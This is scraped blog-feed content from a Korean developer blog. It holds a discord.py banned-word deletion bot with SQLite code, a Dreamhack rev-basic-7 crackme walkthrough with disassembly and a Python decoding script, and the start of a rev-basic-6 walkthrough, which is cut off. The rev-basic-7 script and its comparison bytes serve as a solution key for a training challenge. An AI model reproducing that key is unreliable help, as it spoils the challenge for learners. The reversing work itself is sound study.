print(\u0026#39;We have logged in as {0.user}\u0026#39;.format(client)) def help(): _return = \u0026#34;\u0026#34; _return += \u0026#34;$showTextBL\t=\u0026gt;\t텍스트 블랙리스트 출력\\n\u0026#34; _return += \u0026#34;$addBLAllT\t=\u0026gt;\t인수로 받은 단어를 모든사용자 대상의 블랙리스트로 지정\\n\u0026#34; _return += \u0026#34;$addBLUserT\t=\u0026gt;\t첫번째 인수로 대상 사용자이름, 두번째 인수로 지정할 \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t 블랙리스트 단어를 적용\\n\u0026#34; _return += \u0026#34;$showLog\t=\u0026gt;\t삭제된 텍스트의 로그를 출력, 인수로 출력할 로그의 라인 수를 지정\u0026#34; _return += \u0026#34;$showAtmBL\t=\u0026gt;\t첨부파일 블랙리스트 출력\\n\u0026#34; _return += \u0026#34;$addBLAllA\t=\u0026gt;\t인수로 받은 첨부파일을 모든사용자 대상의 블랙리스트로 지정\\n\u0026#34; _return += \u0026#34;$addBLUserA\t=\u0026gt;\t첫번째 인수로 대상 사용자이름, 두번째 인수로 지정할 \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t 블랙리스트 첨부파일을 적용\\n\u0026#34; _return += \u0026#34;$rmTextBL\t=\u0026gt;\t지정한 pk의 텍스트 BL를 삭제, 인수는 int\\n\u0026#34; _return += \u0026#34;$rmAtmBL\t=\u0026gt;\t지정한 pk의 첨부파일 BL를 삭제, 인수는 int\\n\u0026#34; return _return def commandCheck(msg): #text if(msg.content.startswith(\u0026#34;$addBLAllT\u0026#34;)): if(db.addBLAllT(con, msg) == 1):return 1 else: return 0 elif(msg.content.startswith(\u0026#34;$addBLUserT\u0026#34;)): if(db.addBLUserT(con, msg) == 1):return 1 else: return 0 elif(msg.content.startswith(\u0026#34;$rmTextBL\u0026#34;)): result = db.rmTextBL(con, msg) if(result == 1): return 1 else: return 0 #attachments elif(msg.content.startswith(\u0026#34;$addBLAllA\u0026#34;)): if(db.addBLAllA(con, msg) == 1):return 1 else: return 0 elif(msg.content.startswith(\u0026#34;$addBLUserA\u0026#34;)): if(db.addBLUserA(con, msg) == 1):return 1 else: return 0 elif(msg.content.startswith(\u0026#34;$rmAtmBL\u0026#34;)): result = db.rmAtmBL(con, msg) if(result == 1): return 1 else: return 0 #출력부분 elif(msg.content.startswith(\u0026#34;$showTextBL\u0026#34;)): result = db.showTextBL(con, msg) if(result == 1): return 1 else: return result elif(msg.content.startswith(\u0026#34;$showAtmBL\u0026#34;)): result = db.showAtmBL(con, msg) if(result == 1): return 1 else: return result elif(msg.content.startswith(\u0026#34;$showLog\u0026#34;)): result = db.showLog(con, msg) if(result == 1): return 1 else: return result elif(msg.content.startswith(\u0026#34;$help\u0026#34;)): return help() else: return 100 #@client.event #async def on_message(message): #\tif message.author == client.user: #\treturn # #\tif message.content.startswith(\u0026#39;$hello\u0026#39;): #\tawait message.channel.send(\u0026#39;Hello!\u0026#39;) #\tprint(\u0026#34;Hello print! to \u0026#34;+message.author.name) @client.event async def on_message(msg): if(msg.author == client.user): return else: db.checkUser(con, msg) if(str(msg.author.id) == \u0026#34;개발자 user ID\u0026#34;): #개발자만 명령어 사용 가능 commandReturn = commandCheck(msg) if(commandReturn == 100): pass elif(commandReturn == 1):#return 값 bool 확인 await msg.channel.send(\u0026#39;명령어에 오류가 발생했습니다\u0026#39;);return elif(commandReturn == 0): await msg.channel.send(\u0026#39;적용 완료\u0026#39;);return elif(commandReturn != 0 and commandReturn != 1 and commandReturn == \u0026#34;logData\u0026#34;): txt = discord.File(\u0026#34;delLog.txt\u0026#34;, filename=dirctory+\u0026#34;/delLog.txt\u0026#34;) await msg.channel.send(file=txt);return elif(commandReturn != 0 and commandReturn != 1 and commandReturn.find(\u0026#34;.txt\u0026#34;) != -1):# return 값 bool 아닌 명령어들 txt = discord.File(commandReturn, filename=dirctory+\u0026#34;/\u0026#34;+commandReturn) await msg.channel.send(file=txt);return elif(commandReturn != 0 and commandReturn != 1):# return 값 bool 아닌 명령어들 await msg.channel.send(commandReturn);return if(msg.attachments == []): for i in db.selectTextBL(con, msg): if(msg.content.find(i[0]) != -1): print(\u0026#34;delete =\u0026gt; \u0026#34;+msg.content) db.logging(con, msg, i[0], \u0026#34;text\u0026#34;) await msg.delete(); return elif(msg.attachments != []): for i in db.selectAtmBL(con, msg): if(str(msg.attachments).find(i[0]) != -1): print(\u0026#34;delete =\u0026gt; \u0026#34;+str(msg.attachments)) db.logging(con, msg, i[0], \u0026#34;text\u0026#34;) await msg.delete(); return for i in db.selectTextBL(con, msg): if(msg.content.find(i[0]) != -1): print(\u0026#34;delete =\u0026gt; \u0026#34;+msg.content) db.logging(con, msg, i[0], \u0026#34;text\u0026#34;) await msg.delete(); return client.run(\u0026#39;your token\u0026#39;) def initDB(con): cur = con.cursor() cur.execute(\u0026#34;SELECT name FROM sqlite_master WHERE type=\u0026#39;table\u0026#39;;\u0026#34;) if(cur.fetchall() == []): print(\u0026#34;DB =\u0026gt;\tempty DB! init start, create tables\u0026#34;) cur.execute(\u0026#34;CREATE TABLE user (pk integer not null primary key autoincrement, userName text not null, userId text not null)\u0026#34;) cur.execute(\u0026#34;CREATE TABLE textBL (pk integer not null primary key autoincrement, BL text not null, userId text not null, userName text not null)\u0026#34;) cur.execute(\u0026#34;CREATE TABLE atmBL (pk integer not null primary key autoincrement, BL text not null, userId text not null, userName text not null)\u0026#34;) cur.execute(\u0026#34;CREATE TABLE delLog (pk integer not null primary key autoincrement, userId text not null, userName text not null, BL text not null, target text not null, type text not null, delTime TIMESTAMP DEFAULT (DATETIME(\u0026#39;now\u0026#39;, \u0026#39;localtime\u0026#39;)))\u0026#34;) con.commit() def logging(con, msg, BL, type): cur = con.cursor() if(type == \u0026#34;text\u0026#34;): cur.execute(\u0026#34;insert into delLog (userId, userName, BL, target, type) values (?, ?, ?, ?, ?)\u0026#34;, (msg.author.id, msg.author.name, BL, msg.content, \u0026#34;text\u0026#34;)) else: cur.execute(\u0026#34;insert into delLog (userId, userName, BL, target, type) values (?, ?, ?, ?, ?)\u0026#34;, (msg.author.id, msg.author.name, BL, msg.content, \u0026#34;atm\u0026#34;)) con.commit() def showLog(con, msg): try: temp = int(msg.content.strip(\u0026#34;$showLog \u0026#34;)) print(temp) cur = con.cursor() cur.execute(\u0026#34;select pk, userName, BL, target, delTime from delLog order by pk desc limit (cast(? as integer))\u0026#34;, (temp,)) _return = \u0026#34;\u0026#34; for _tuple in cur.fetchall(): _return+=(str(_tuple)+\u0026#34;\\n\u0026#34;) f = open(\u0026#34;delLog.txt\u0026#34;, \u0026#34;w\u0026#34;) f.write(_return) f.close() return \u0026#34;logData\u0026#34;#\u0026#34;delLog.txt\u0026#34; except: return 1 def checkUser(con, msg): cur = con.cursor() cur.execute(\u0026#34;select userId from user\u0026#34;) if(str(cur.fetchall()).find(str(msg.author.id)) == -1): cur.execute(\u0026#34;insert into user (userName, userId) values (?, ?)\u0026#34;, (str(msg.author.name), str(msg.author.id))) con.commit() def showTextBL(con, msg): #text blackList 보기 try: cur = con.cursor() cur.execute(\u0026#34;select * from textBL\u0026#34;) dbTuples = cur.fetchall() returnData = \u0026#34;\u0026#34; for dbTuple in dbTuples: returnData += str(dbTuple)+\u0026#34;\\n\u0026#34; f = open(\u0026#34;textBL.txt\u0026#34;, \u0026#34;w\u0026#34;) f.write(returnData) f.close() return(\u0026#34;textBL.txt\u0026#34;) except: return 1 def showAtmBL(con, msg): #attachments blackList 보기 try: cur = con.cursor() cur.execute(\u0026#34;select * from atmBL\u0026#34;) dbTuples = cur.fetchall() returnData = \u0026#34;\u0026#34; for dbTuple in dbTuples: returnData += str(dbTuple)+\u0026#34;\\n\u0026#34; f = open(\u0026#34;atmBL.txt\u0026#34;, \u0026#34;w\u0026#34;) f.write(returnData) f.close() return(\u0026#34;atmBL.txt\u0026#34;) except: return 1 def selectTextBL(con, msg): returnList = [] cur = con.cursor() cur.execute(\u0026#34;select BL from textBL where userId = \u0026#39;all\u0026#39;\u0026#34;) dbTuples = cur.fetchall() for item in dbTuples: returnList.append(list(item)) cur.execute(\u0026#34;select BL from textBL where userId = ?\u0026#34;, (msg.author.id, )) dbTuples = cur.fetchall() for item in dbTuples: returnList.append(list(item)) return returnList def selectAtmBL(con, msg): returnList = [] cur = con.cursor() cur.execute(\u0026#34;select BL from atmBL where userId = \u0026#39;all\u0026#39;\u0026#34;) dbTuples = cur.fetchall() for item in dbTuples: returnList.append(list(item)) cur.execute(\u0026#34;select BL from atmBL where userId = ?\u0026#34;, (msg.author.id, )) dbTuples = cur.fetchall() for item in dbTuples: returnList.append(list(item)) return returnList def addBLAllT(con, arg):#text try: temp = arg.content.strip(\u0026#34;$addBLAllT \u0026#34;) cur = con.cursor() cur.execute(\u0026#34;insert into textBL (BL, userId, userName) values(?, \u0026#39;all\u0026#39;, \u0026#39;all\u0026#39;)\u0026#34;, (temp, )) con.commit() return 0 except: return 1 def addBLUserT(con, arg):#text try: temp = arg.content.strip(\u0026#34;$addBLUserT \u0026#34;) argList = list(temp.split(\u0026#39; \u0026#39;)) userName = argList[0] del argList[0] BL = \u0026#34;\u0026#34; count = 1 for i in argList: if(count == len(argList)): BL = BL + str(i) else: BL = BL + (str(i)+\u0026#34; \u0026#34;) count += 1 cur = con.cursor() cur.execute(\u0026#34;select userId, userName from user where userName = ?\u0026#34;, (userName, )) returnText = list(cur.fetchall()[0]) cur.execute(\u0026#34;insert into textBL (BL, userId, userName) values(?, ?, ?)\u0026#34;, (BL, returnText[0], returnText[1])) con.commit() return 0 except: return 1 def addBLAllA(con, arg):#attachments try: temp = arg.content.strip(\u0026#34;$addBLAllA \u0026#34;) cur = con.cursor() cur.execute(\u0026#34;insert into atmBL (BL, userId, userName) values(?, \u0026#39;all\u0026#39;, \u0026#39;all\u0026#39;)\u0026#34;, (temp, )) con.commit() return 0 except: return 1 def addBLUserA(con, arg):#attachments try: temp = arg.content.strip(\u0026#34;$addBLUserA \u0026#34;) argList = list(temp.split(\u0026#39; \u0026#39;)) cur = con.cursor() cur.execute(\u0026#34;select userId, userName from user where userName = ?\u0026#34;, (argList[0], )) returnText = list(cur.fetchall()[0]) cur.execute(\u0026#34;insert into atmBL (BL, userId, userName) values(?, ?, ?)\u0026#34;, (argList[1], returnText[0], returnText[1])) con.commit() return 0 except: return 1 def rmTextBL(con, arg): temp = arg.content.strip(\u0026#34;$rmTextBL \u0026#34;) cur = con.cursor() cur.execute(\u0026#34;delete from textBL where pk = (cast(? as integer))\u0026#34;, (temp, )) con.commit() return 0 def rmAtmBL(con, arg): temp = arg.content.strip(\u0026#34;$rmAtmBL \u0026#34;) cur = con.cursor() cur.execute(\u0026#34;delete from atmBL where pk = (cast(? as integer))\u0026#34;, (temp, )) con.commit() return 0 처음에는 텍스트 파일을 메시지 액션이 있을때 마다 BlackList로 읽어 문자열을 검색했지만 sqlite3로 대체하면서 db 쿼리문이 포함된 함수들을 따로 만들어 주었다.\nfrom discord.ext import commands from discord.ext.commands import Bot bot = commands.Bot(command_prefix=\u0026#39;$\u0026#39;) 위 구문을 이용해서 bot.command를 쓰면 명령어를 더 편하게 쓸 수 있지만 어떤 이유에서인지 on_message와 bot.command가 같이 동작하지 않아, on_message 안에서 commandCheck 함수를 통해 명령어 기능을 적용했다. 이렇게 되면 명령어를 추가 해야하는 시점에서 commandCheck와 다른 함수들일 직접 구현해야 하지만 실시간으로 올라오는 모든 메시지에 대해서 금지어 검사를 위해 위처럼 코드를 작성했다.\n여러 서버에서 사용하려면 서버ID, 채널ID 등을 추가로 DB로 만들어 비교하는 코드를 짜주면 된다.\nmsg.attachments를 통해 첨부파일의 유무도 확인할 수 있는데, 등록한 문자열이 첨부파일 이름이나 링크에 추가되어 있으면 이 또한 메시지가 삭제된다. 주로 이미지를 삭제하기 위해 만든 기능인데, 이미지 이름을 바꾸면 쉽게 우회가 가능해서 다음에는 openCV를 통해 이미지 유사도 검사기능을 넣어 비교하는것을 테스트 할 생각이다. 다만 비교하는데 얼만큼의 리소스 사용, 걸리는 시간 등을 잘 판단해 어떤 방식이 더 득이 많을지 생각해 봐야할 문제이다.\n전체사용자에 대한 금지어 설정도 가능하지만 사용자들이 채팅을 입력하면 db에 사용자 이름과 고유 USER ID를 저장하며 비교하므로 $addBLUserT 유저이름 금지어 를 통해 지정도 가능하다. 물론 첨부파일도 마찬가지이다.\n삭제로그 출력의 경우 일부 로그는 상관 없지만 2000글자가 넘어가는 대용량 로그의 경우 디스코드에서 막아둔것 같다. 이 때문에 로그를 txt 파일로 만들어 첨부파일 형태로 보내는 방식을 이용했다. PC에서는 파일 미리보기를 통해 쉽게 확인이 가능하지만, 스마트폰에서는 파일을 직접 다운받아 열어봐야하는 단점이 있다.\n블랙리스트 출력 또한 위 txt 파일 업로드 방식을 사용했다.\n봇 커멘드의 경우 $help를 치면 출력이 되도록 설정했다.\n","permalink":"https://dig06161.github.io/2022/05/01/discord.py-start/","summary":"\u003cp\u003e요즘 게임과 각종 온라인 커뮤니케이션 수단으로 디스코드를 많이 사용하는 것 같다. 어떤 대회나 컨퍼런스 등등 문의사항이나 커뮤니케이션을 위한 디스코드 채널을 개설하는걸 많이 봤기 때문이다.\u003c/p\u003e\n\u003cp\u003e필자 또한 친구들과 게임을 하거나 단톡방 느낌으로 디스코드 채널을 이용하고 있는데 채널 안에 여러 사람이 있을 시 발생하는 여러가지 문제점이 있다.\u003c/p\u003e\n\u003cp\u003e이는 카카오톡을 이용할 떄에도 비슷하게 발생하는데, 각종 욕설이나 금지어 등등 이런 룰을 정해 숙지하는 편이다.\u003c/p\u003e\n\u003cp\u003e필자가 속한 채널은 금지어를 작성하면 필자와 다른 관리자 인원이 해당 채팅을 지우는 방식을 사용하고 있는데 이는 관리자 들에게 많은 피로감을 가져왔고, 관리자가 자리를 비웠 때 발생하는 비매너 채팅에 대해서 반응할 수 없다는 단점이 있었다. 따라서 여기서 디스코드 봇을 만들기로 생각했다.\u003c/p\u003e","title":"discord.py로 금지어 삭제봇 개발하기"},{"content":"이번 문제는 드림핵 rev-basic-7 리버싱 문제를 풀어보자.\n우선 basic-6과 동일하게 문자열을 입력 받고 정답이면 Correct, 아니면 Wrong을 출력한다. 바이너리 실행결과는 다음과 같다.\n우선 가장 먼저 해야할 일은 main함수를 찾는것이다. 윈도우 바이너리인 PE파일의 헤더 구조를 보면 매우 많은 정보들이 들어있다. 그것들 중 리버싱을 할떄 중점으로 봐야할 부분은 .text영역이다. 실질적으로 코드가 컴파일되어 저장되는 영역으로 대부분의 main함수는 이 영역 시작 지점과 인접하게 존재한다. 컴파일러의 보안 미티게이션의 추가로 메모리 주소 랜덤화가 자동으로 걸려 0x401000주소에 main이 들어가는 경우는 이젠 없을 것이다.\n바이너리는 input : 과 Wrong 이라는 문자열을 출력했다. 따라서 문자열 검사를 통해 해당 문자열이 사용되는 지점을 찾아 BP를 걸어준다.\n00007FF7CEE21090 | 40:57 | push rdi | 00007FF7CEE21092 | 48:81EC 30010000 | sub rsp,130 | 00007FF7CEE21099 | 48:8B05 881F0000 | mov rax,qword ptr ds:[7FF7CEE23028] | 00007FF7CEE210A0 | 48:33C4 | xor rax,rsp | 00007FF7CEE210A3 | 48:898424 20010000 | mov qword ptr ss:[rsp+120],rax | 00007FF7CEE210AB | 48:8D4424 20 | lea rax,qword ptr ss:[rsp+20] | 00007FF7CEE210B0 | 48:8BF8 | mov rdi,rax | 00007FF7CEE210B3 | 33C0 | xor eax,eax | 00007FF7CEE210B5 | B9 00010000 | mov ecx,100 | 00007FF7CEE210BA | F3:AA | rep stosb | 00007FF7CEE210BC | 48:8D0D 4D110000 | lea rcx,qword ptr ds:[7FF7CEE22210] | rcx:\u0026#34;asdf\u0026#34;, 00007FF7CEE22210:\u0026#34;Input : \u0026#34; 00007FF7CEE210C3 | E8 58000000 | call chall7.7FF7CEE21120 | 00007FF7CEE210C8 | 48:8D5424 20 | lea rdx,qword ptr ss:[rsp+20] | 00007FF7CEE210CD | 48:8D0D 48110000 | lea rcx,qword ptr ds:[7FF7CEE2221C] | rcx:\u0026#34;asdf\u0026#34;, 00007FF7CEE2221C:\u0026#34;%256s\u0026#34; 00007FF7CEE210D4 | E8 D7000000 | call chall7.7FF7CEE211B0 | 00007FF7CEE210D9 | 48:8D4C24 20 | lea rcx,qword ptr ss:[rsp+20] | 00007FF7CEE210DE | E8 1DFFFFFF | call chall7.7FF7CEE21000 | 00007FF7CEE210E3 | 85C0 | test eax,eax | 00007FF7CEE210E5 | 74 0F | je chall7.7FF7CEE210F6 | 00007FF7CEE210E7 | 48:8D0D 3A110000 | lea rcx,qword ptr ds:[7FF7CEE22228] | rcx:\u0026#34;asdf\u0026#34;, 00007FF7CEE22228:\u0026#34;Correct\u0026#34; 00007FF7CEE210EE | FF15 94100000 | call qword ptr ds:[\u0026lt;\u0026amp;puts\u0026gt;] | 00007FF7CEE210F4 | EB 0D | jmp chall7.7FF7CEE21103 | 00007FF7CEE210F6 | 48:8D0D 33110000 | lea rcx,qword ptr ds:[7FF7CEE22230] | rcx:\u0026#34;asdf\u0026#34;, 00007FF7CEE22230:\u0026#34;Wrong\u0026#34; 00007FF7CEE210FD | FF15 85100000 | call qword ptr ds:[\u0026lt;\u0026amp;puts\u0026gt;] | 00007FF7CEE21103 | 33C0 | xor eax,eax | 00007FF7CEE21105 | 48:8B8C24 20010000 | mov rcx,qword ptr ss:[rsp+120] | 00007FF7CEE2110D | 48:33CC | xor rcx,rsp | 00007FF7CEE21110 | E8 AB010000 | call chall7.7FF7CEE212C0 | 00007FF7CEE21115 | 48:81C4 30010000 | add rsp,130 | 00007FF7CEE2111C | 5F | pop rdi | 00007FF7CEE2111D | C3 | ret | 해당 문제는 올바른 값을 입력하면 Corrent라는 문구가 출력되며 입력한 값이 flag가 되는 문제이다. 따라서 바이너리 역분석을 통해 적절한 입력값을 찾아야 한다.\n우선 테스트 값으로 aaaaaaaaaaa라는 문자열을 입력하고 이를 검사하는 부분을 찾아야 한다. 어셈블리를 살펴보면\n00007FF7CEE210D9 | 48:8D4C24 20 | lea rcx,qword ptr ss:[rsp+20] | 00007FF7CEE210DE | E8 1DFFFFFF | call chall7.7FF7CEE21000 | 00007FF7CEE210E3 | 85C0 | test eax,eax | 00007FF7CEE210E5 | 74 0F | je chall7.7FF7CEE210F6 | 위와 같은 부분이 존재한다. 함수를 Call하고 test를 통한 eax 초기화 후 je를 통해 분기하는 것을 알 수 있다. 따라서 Call 하는 chall7.7FF7CEE21000 부분이 문자열을 검사하는 곳이라고 추측할 수 있다.\n해당 부분의 어셈블리는 다음과 같다. 00007FF7CEE21000 | 48:894C24 08 | mov qword ptr ss:[rsp+8],rcx | 00007FF7CEE21005 | 48:83EC 18 | sub rsp,18 | 00007FF7CEE21009 | C70424 00000000 | mov dword ptr ss:[rsp],0 | 00007FF7CEE21010 | EB 08 | jmp chall7.7FF7CEE2101A | 00007FF7CEE21012 | 8B0424 | mov eax,dword ptr ss:[rsp] | 00007FF7CEE21015 | FFC0 | inc eax | 00007FF7CEE21017 | 890424 | mov dword ptr ss:[rsp],eax | 00007FF7CEE2101A | 48:630424 | movsxd rax,dword ptr ss:[rsp] | 00007FF7CEE2101E | 48:83F8 1F | cmp rax,1F | 00007FF7CEE21022 | 73 41 | jae chall7.7FF7CEE21065 | 00007FF7CEE21024 | 8B0424 | mov eax,dword ptr ss:[rsp] | 00007FF7CEE21027 | 83E0 07 | and eax,7 | 00007FF7CEE2102A | 48:630C24 | movsxd rcx,dword ptr ss:[rsp] | 00007FF7CEE2102E | 48:894C24 08 | mov qword ptr ss:[rsp+8],rcx | 00007FF7CEE21033 | 48:8B5424 20 | mov rdx,qword ptr ss:[rsp+20] | [rsp+20]:\u0026#34;aaaaaaaaaaa\u0026#34; 00007FF7CEE21038 | 0FB6C8 | movzx ecx,al | 00007FF7CEE2103B | 48:8B4424 08 | mov rax,qword ptr ss:[rsp+8] | 00007FF7CEE21040 | 0FB60402 | movzx eax,byte ptr ds:[rdx+rax] | 00007FF7CEE21044 | D2C0 | rol al,cl | 00007FF7CEE21046 | 0FB6C0 | movzx eax,al | 00007FF7CEE21049 | 330424 | xor eax,dword ptr ss:[rsp] | 00007FF7CEE2104C | 48:630C24 | movsxd rcx,dword ptr ss:[rsp] | 00007FF7CEE21050 | 48:8D15 A91F0000 | lea rdx,qword ptr ds:[7FF7CEE23000] | 00007FF7CEE21057 | 0FB60C0A | movzx ecx,byte ptr ds:[rdx+rcx] | 00007FF7CEE2105B | 3BC1 | cmp eax,ecx | 00007FF7CEE2105D | 74 04 | je chall7.7FF7CEE21063 | 00007FF7CEE2105F | 33C0 | xor eax,eax | 00007FF7CEE21061 | EB 07 | jmp chall7.7FF7CEE2106A | 00007FF7CEE21063 | EB AD | jmp chall7.7FF7CEE21012 | 00007FF7CEE21065 | B8 01000000 | mov eax,1 | 00007FF7CEE2106A | 48:83C4 18 | add rsp,18 | 00007FF7CEE2106E | C3 | ret | 어셈블리를 살펴보면 처음보는 명령어가 있다. 바로 rol이라는 연산인데, 쉬프트 연산의 일종이다. al 레지스터의 값을 cl레지스터 값 만큼 rol연산 해 al 레지스터에 저장하는 연산이다. 일반적인 쉬프트 연산에서 자리수를 넘어가는 값이 나오면 그 수는 그냥 버려지는것이 일반적이지만 ROL(왼쪽)과 ROR(오른쪽)연산의 경우 마지막 자리수에서 쉬프트 연산을 통해 자리올림이 발생했을 때, 반대쪽 자리로 옮겨 올라간 자리를 표시한다.\n예를 들면 이렇다. al, cl은 각각 8비트의 길이를 가지고 있기 때문에 8비트로 설명을 해보겠다. 0000 0001을 ROL연산을 하면 0000 0010이 된다. 다만 0000 0001을 ROR연산을 하면 1000 0000이 된다. 이것이 일반적인 쉬프트 연산과 다른점이다.\n해당 로직을 실행시켜 레지스터 값 변화와 같이 분석해보면 다음과 같다. 입력한 문자열이 저장된 스택 시작주소에서 반복문 횟수 만큼 값을 더해 결과적으로 각 자리 문자를 가져와 al 레지스터에 저장하는 역할을 한다. 이후 반복분의 횟수는 cl레지스터에 저장되며 al 레지스터에 저장된 값을 cl 레지스터 값 만큼 rol연산한 후 반복분 횟수와 XOR연산해 EAX에 저장한다. 이후 스텍에 저장된 정답 문자열 주소에 반복분 횟수 만큼 더한 자리의 값을 가져와 ECX에 저장한다. EAX와 ECX를 비교 후 같지 않으면 0을 리턴하고 같으면 jmp를 통해 다음 자리의 문자를 검사한다.\n(각 자리수의 hex값 ROL 자리수(몇번째 자리인지)) XOR 자리수(몇번째 자리인지) == 비교대상 정답 위 값이 참일경우 반복문 동작, 거짓일 경우 0을 리턴하고 main함수에서 Wrong을 출력 # 입력된 문자열만큼 반복 # 자리수는 0부터 시작후 1씩 증가 # 결과 값을 7FF7CEE23000에 위치한 hex값과 비교해 정답 유무 확인 위 수식을 입력 받은 글자 수 만큼 반복하면서 비교한다. XOR의 경우 A ⊕ B = C와 A ⊕ C = B가 성립하므로 위 수식의 역을 구하면 다음과 같다.\n(비교대상 정답 XOR 자리수) ROR 자리수 = 각 자리수의 hex값 위 수식을 검산하면서 간과했던 점이 al, cl 레지스터는 8비트 크기를 가지지만 윈도우 계산기의 기본 설정은 QWORD로 64비트의 자리수를 가지고 있다. 따라서 계산기로 검증하면서 byte로 설정을 바꾸어 계산을 진행했다.\n이제 파이썬 코드를 작성해보자\ndef ROL(data, shift, size=8): shift %= size remains = data \u0026gt;\u0026gt; (size - shift) body = (data \u0026lt;\u0026lt; shift) - (remains \u0026lt;\u0026lt; size ) return (body + remains) def ROR(data, shift, size=8): shift %= size body = data \u0026gt;\u0026gt; shift remains = (data \u0026lt;\u0026lt; (size - shift)) - (body \u0026lt;\u0026lt; size) return (body + remains) a = [0x52, 0xDF, 0xB3, 0x60, 0xF1, 0x8B, 0x1C, 0xB5, 0x57, 0xD1, 0x9F, 0x38, 0x4B, 0x29, 0xD9, 0x26 , 0x7F, 0xC9, 0xA3, 0xE9, 0x53, 0x18, 0x4F, 0xB8, 0x6A, 0xCB, 0x87, 0x58, 0x5B, 0x39, 0x1E] b = 0 temp = \u0026#34;\u0026#34; for i in a: temp = (i ^ b) temp = ROR(temp, b) print(chr(temp), end=\u0026#39;\u0026#39;) b = b + 1 \u0026#34;\u0026#34; 찾아보니 파이썬에는 ROL, ROR 연산 함수가 없어 https://bbolmin.tistory.com/133 블로그에서 코드를 빌려왔다. 감사하게도 ROL, ROR 코드를 작성해 올려주셨다.\n위 코드를 보면 ROR 함수에 size 값이 8인것을 볼 수 있다. 이 또한 al의 크기인 8비트를 맞춰주기 위해 코드를 수정했다.\na의 리스트 값은 입력값과 비교하는 데이터로 7FF7CEE23000 위치에서 가져왔다.\n위 코드를 돌리면 플레그를 얻을 수 있다.\n","permalink":"https://dig06161.github.io/2022/05/01/dreamhack-rev-basic-7/","summary":"\u003cp\u003e이번 문제는 드림핵 rev-basic-7 리버싱 문제를 풀어보자.\u003c/p\u003e\n\u003cp\u003e우선 basic-6과 동일하게 문자열을 입력 받고 정답이면 Correct, 아니면 Wrong을 출력한다. 바이너리 실행결과는 다음과 같다.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/img/dreamhack-rev-basic-7/binary_start.png\" alt=\"binary_start\"  /\u003e\n\u003c/p\u003e\n\u003cp\u003e우선 가장 먼저 해야할 일은 main함수를 찾는것이다. 윈도우 바이너리인 PE파일의 헤더 구조를 보면 매우 많은 정보들이 들어있다. 그것들 중 리버싱을 할떄 중점으로 봐야할 부분은 .text영역이다. 실질적으로 코드가 컴파일되어 저장되는 영역으로 대부분의 main함수는 이 영역 시작 지점과 인접하게 존재한다. 컴파일러의 보안 미티게이션의 추가로 메모리 주소 랜덤화가 자동으로 걸려 0x401000주소에 main이 들어가는 경우는 이젠 없을 것이다.\u003c/p\u003e","title":"Dreamhack rev-basic-7 문제풀이"},{"content":"이번에는 드림핵 리버싱 베이직 6번 문제를 풀어보자.\n이전에 올렸던 rev-basic-5 문제와 동일하게 바이너리를 실행 시키면\ninput : 이라는 문자열과 함께 문자열을 입력 받고 정답이면 Correct, 아니면 Wrong을 출력한다.\n우선 동일하게 x64 디버거를 이용해 어셈블리를 분석해보자.\n해당 프로그램 main의 어셈블리는 다음과 같다.\n00007FF782681120 | 40:57 | push rdi | rdi:\u0026amp;\u0026#34;ALLUSERSPROFILE=C:\\\\ProgramData\u0026#34; 00007FF782681122 | 48:81EC 30010000 | sub rsp,130 | 00007FF782681129 | 48:8B05 F81F0000 | mov rax,qword ptr ds:[7FF782683128] | 00007FF782681130 | 48:33C4 | xor rax,rsp | 00007FF782681133 | 48:898424 20010000 | mov qword ptr ss:[rsp+120],rax | 00007FF78268113B | 48:8D4424 20 | lea rax,qword ptr ss:[rsp+20] | 00007FF782681140 | 48:8BF8 | mov rdi,rax | rdi:\u0026amp;\u0026#34;ALLUSERSPROFILE=C:\\\\ProgramData\u0026#34; 00007FF782681143 | 33C0 | xor eax,eax | 00007FF782681145 | B9 00010000 | mov ecx,100 | 00007FF78268114A | F3:AA | rep stosb | 00007FF78268114C | 48:8D0D BD100000 | lea rcx,qword ptr ds:[7FF782682210] | 00007FF782682210:\u0026#34;Input : \u0026#34; 00007FF782681153 | E8 58000000 | call chall6.7FF7826811B0 | 00007FF782681158 | 48:8D5424 20 | lea rdx,qword ptr ss:[rsp+20] | 00007FF78268115D | 48:8D0D B8100000 | lea rcx,qword ptr ds:[7FF78268221C] | 00007FF78268221C:\u0026#34;%256s\u0026#34; 00007FF782681164 | E8 A7000000 | call chall6.7FF782681210 | 00007FF782681169 | 48:8D4C24 20 | lea rcx,qword ptr ss:[rsp+20] | 00007FF78268116E | E8 8DFEFFFF | call chall6.7FF782681000 | 00007FF782681173 | 85C0 | test eax,eax | 00007FF782681175 | 74 0F | je chall6.7FF782681186 | 00007FF782681177 | 48:8D0D AA100000 | lea rcx,qword ptr ds:[7FF782682228] | 00007FF782682228:\u0026#34;Correct\u0026#34; 00007FF78268117E | FF15 04100000 | call qword ptr ds:[\u0026lt;\u0026amp;puts\u0026gt;] | 00007FF782681184 | EB 0D | jmp chall6.7FF782681193 | 00007FF782681186 | 48:8D0D A3100000 | lea rcx,qword ptr ds:[7FF782682230] | 00007FF782682230:\u0026#34;Wrong\u0026#34; 00007FF78268118D | FF15 F50F0000 | call qword ptr ds:[\u0026lt;\u0026amp;puts\u0026gt;] | 00007FF782681193 | 33C0 | xor eax,eax | 00007FF782681195 | 48:8B8C24 20010000 | mov rcx,qword ptr ss:[rsp+120] | 00007FF78268119D | 48:33CC | xor rcx,rsp | 00007FF7826811A0 | E8 5B010000 | call chall6.7FF782681300 | 00007FF7826811A5 | 48:81C4 30010000 | add rsp,130 | 00007FF7826811AC | 5F | pop rdi | rdi:\u0026amp;\u0026#34;ALLUSERSPROFILE=C:\\\\ProgramData\u0026#34; 00007FF7826811AD | C3 | ret | 여기서 정답의 로직을 분석하는 부분은 00007FF78268116E이다.\n테스트로 AAAAA를 입력한 뒤, 위 주소부분의 어셈블리를 살펴보자.\n00007FF782681000 | 48:894C24 08 | mov qword ptr ss:[rsp+8],rcx | [rsp+8]:\u0026#34;%256s\u0026#34; 00007FF782681005 | 48:83EC 18 | sub rsp,18 | 00007FF782681009 | C70424 00000000 | mov dword ptr ss:[rsp],0 | 00007FF782681010 | EB 08 | jmp chall6.7FF78268101A | 00007FF782681012 | 8B0424 | mov eax,dword ptr ss:[rsp] | 00007FF782681015 | FFC0 | inc eax | 00007FF782681017 | 890424 | mov dword ptr ss:[rsp],eax | 00007FF78268101A | 48:630424 | movsxd rax,dword ptr ss:[rsp] | 00007FF78268101E | 48:83F8 12 | cmp rax,12 | 00007FF782681022 | 73 31 | jae chall6.7FF782681055 